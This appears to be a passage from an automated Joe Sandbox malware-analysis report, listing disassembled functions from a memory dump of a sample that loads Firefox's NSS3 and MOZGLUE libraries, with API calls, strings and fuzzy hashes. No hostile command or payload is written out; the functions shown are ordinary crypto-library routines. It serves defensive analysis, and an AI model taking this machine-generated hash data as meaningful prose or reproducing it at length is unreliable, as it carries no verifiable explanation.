SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E47
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F4B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction ID: ccfaa29ebd7421f033e672f1e677cedeafec0bb7f6cb9aee69864ac51dab5b3d
Opcode Fuzzy Hash: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction Fuzzy Hash: 2971C2B4A05B019FD700CF60D884A96B7F5FF89308F148529E81E87B11EB32F955CB59

Function 6C668DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C668E22
EnterCriticalSection.KERNEL32(?), ref: 6C668E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C668E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C668E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C668EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C668EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F00
free.MOZGLUE(?), ref: 6C668F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C668F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F5B
PR_Unlock.NSS3(?), ref: 6C668F72
PR_Unlock.NSS3(?), ref: 6C668F82

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction ID: 4ed5d4e1d00a07b72f3c5744550685c3ed520d2649cf699b35357d5168366f8a
Opcode Fuzzy Hash: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction Fuzzy Hash: 18510BB2D00215AFD7009F7ACC449AEB7B9EF5A358B144129EC089BF10E731ED4587E6

Function 6C68CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C68CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C68CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C68CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C68CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C68CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C68CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C68CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C68CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C68CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C68CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C68CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C68CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C68CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C68D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C68D021

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: d1f651082c0f3a5d7c5d58c19e336fc211ff98c86a1f23ede3cf83dfc7696c3f
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: C5313071B9791127EF0D149B6C21F9E254A4B6630EF440039F90BE6BC0FA859A5702BD

Function 6C760FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C761000

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C761016

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_Unlock.NSS3(?), ref: 6C761021

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761046
PR_Unlock.NSS3(?), ref: 6C76106B
PR_Lock.NSS3 ref: 6C761079
PR_Unlock.NSS3 ref: 6C761096
free.MOZGLUE(?), ref: 6C7610A7
free.MOZGLUE(?), ref: 6C7610B4
PR_DestroyCondVar.NSS3(?), ref: 6C7610BF
PR_DestroyCondVar.NSS3(?), ref: 6C7610CA
PR_DestroyCondVar.NSS3(?), ref: 6C7610D5
PR_DestroyCondVar.NSS3(?), ref: 6C7610E0
PR_DestroyLock.NSS3(?), ref: 6C7610EB
free.MOZGLUE(?), ref: 6C761105

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction ID: 0be9266e25295d986855f9001a957344754722453cf731bed1f07a0631cffab7
Opcode Fuzzy Hash: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction Fuzzy Hash: 77316BB5900402BBDB019F15EE45A45BBB6FF02319B188130E80952F61E732F979EBDA

Function 6C5DDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5DDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5DDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5DDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5DDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DDECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DDF6D, 6C5DDFCC, 6C5DDFDD
%s at line %d of [%.10s], xrefs: 6C5DDF7C, 6C5DDFEC
database corruption, xrefs: 6C5DDF77, 6C5DDFE7

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction ID: c17f001fb6a41653d29d53ad03bc4551fc80e228bc2deba9a953e3157f71b89e
Opcode Fuzzy Hash: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction Fuzzy Hash: E6A1B3716043069BC710DF2DCC80A6AB7F5EF95308F1A896DE8858BB51E730F945CBA6

Function 6C69EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C69EE0B

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EEE1

Part of subcall function 6C691D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C691D7E
Part of subcall function 6C691D50: EnterCriticalSection.KERNEL32(?), ref: 6C691D8E
Part of subcall function 6C691D50: PR_Unlock.NSS3(?), ref: 6C691DD3

TlsGetValue.KERNEL32 ref: 6C69EE51
EnterCriticalSection.KERNEL32(?), ref: 6C69EE65
PR_Unlock.NSS3(?), ref: 6C69EEA2
free.MOZGLUE(?), ref: 6C69EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C69EED0
PR_Unlock.NSS3(?), ref: 6C69EF48
free.MOZGLUE(?), ref: 6C69EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C69EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C69EFA4
free.MOZGLUE(?), ref: 6C69EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69F055
free.MOZGLUE(?), ref: 6C69F060

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction ID: 30126aafb8ff49667068a156bd3657370fcb8a055a26e1405f569689917ac487
Opcode Fuzzy Hash: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction Fuzzy Hash: 3A8181B1A0020AABDF00DFA5DC45BEE7BB5BF09318F144025E909A3711E731E965CBA9

Function 6C664CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C664D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C664D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C664DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C664E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C664E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C664E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C664E85
DER_Encode_Util.NSS3(?,?,6C7B05A4,00000000), ref: 6C664EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C664F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C664F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C664F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C664F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664FC8

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction ID: 2ac62ba7dff3fee9f7dd21be046cea95f236de9391d5fff346251b62a1ffedd7
Opcode Fuzzy Hash: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction Fuzzy Hash: 2F81B371908301AFE701CF26D850BABB7E4ABC5348F148929F958DBA40E771E905CB9B

Function 6C6A5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C6A5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C6A5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C6A5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C6A5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C6A5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5E18
TlsGetValue.KERNEL32 ref: 6C6A5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C6A5E72
PR_Unlock.NSS3(?), ref: 6C6A5E8B

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

Strings

d, xrefs: 6C6A5C36
tokens=[0x%x=<%s>], xrefs: 6C6A5D3D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction ID: 67d2fa1bc4b4cefd73094192f9e51fc6835de4a1769b98e93e94a216269452af
Opcode Fuzzy Hash: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction Fuzzy Hash: F871B3B1A05501ABEB00DFA4DC45BAE7275BF4631CF140435E80A9AB46EB32ED17879E

Function 6C698F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C699582), ref: 6C698F5B

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C698F6A

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C698FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C698FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C77D820,6C699576), ref: 6C698FF9
DER_GetInteger_Util.NSS3(?), ref: 6C69901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C69903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C699062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C69912D
free.MOZGLUE(00000000), ref: 6C699136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C699145

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction ID: cc9e516a6502a86337e54dc69d0e1f7cc63ba288f598162578b36d4168f8a15f
Opcode Fuzzy Hash: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction Fuzzy Hash: 9251F1B2A042019FEB00CF28DC41B9BB7E8BF99358F044529EC5997741E731E955CB9A

Function 6C68ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C68ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AE29

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C68AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C68AEA0

Strings

hKey = 0x%x, xrefs: 6C68AE62, 6C68AE72
hSession = 0x%x, xrefs: 6C68AE01, 6C68AE11
nvl, xrefs: 6C68AEB8, 6C68AEE6
(CK_INVALID_HANDLE), xrefs: 6C68AE1F, 6C68AE80
C_MessageSignInit, xrefs: 6C68ADE1

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nvl
API String ID: 332880674-3036463336
Opcode ID: 6f93ab5d4f536379bbe1cf368851be28c70bba7a869e4d46329c8a88744a6c96
Instruction ID: b1f9696cb3354686915813e62beb135d3fc7df5ed0a10a026cef5fb02f6d1805
Opcode Fuzzy Hash: 6f93ab5d4f536379bbe1cf368851be28c70bba7a869e4d46329c8a88744a6c96
Instruction Fuzzy Hash: CA31EB71602208ABCB009F14DD4CFAA3775AB4630DF044834ED09ABB92DB309909DBBE

Function 6C689EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C689F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689F49

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C689F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C689FC0

Strings

hKey = 0x%x, xrefs: 6C689F82, 6C689F92
hSession = 0x%x, xrefs: 6C689F21, 6C689F31
nvl, xrefs: 6C689FD8, 6C68A006
C_MessageEncryptInit, xrefs: 6C689F01
(CK_INVALID_HANDLE), xrefs: 6C689F3F, 6C689FA0

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nvl
API String ID: 332880674-2561802492
Opcode ID: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction ID: 8ab298a56823afd8dfce007abe34c221a9e153f35e7f094a4560645055fa7749
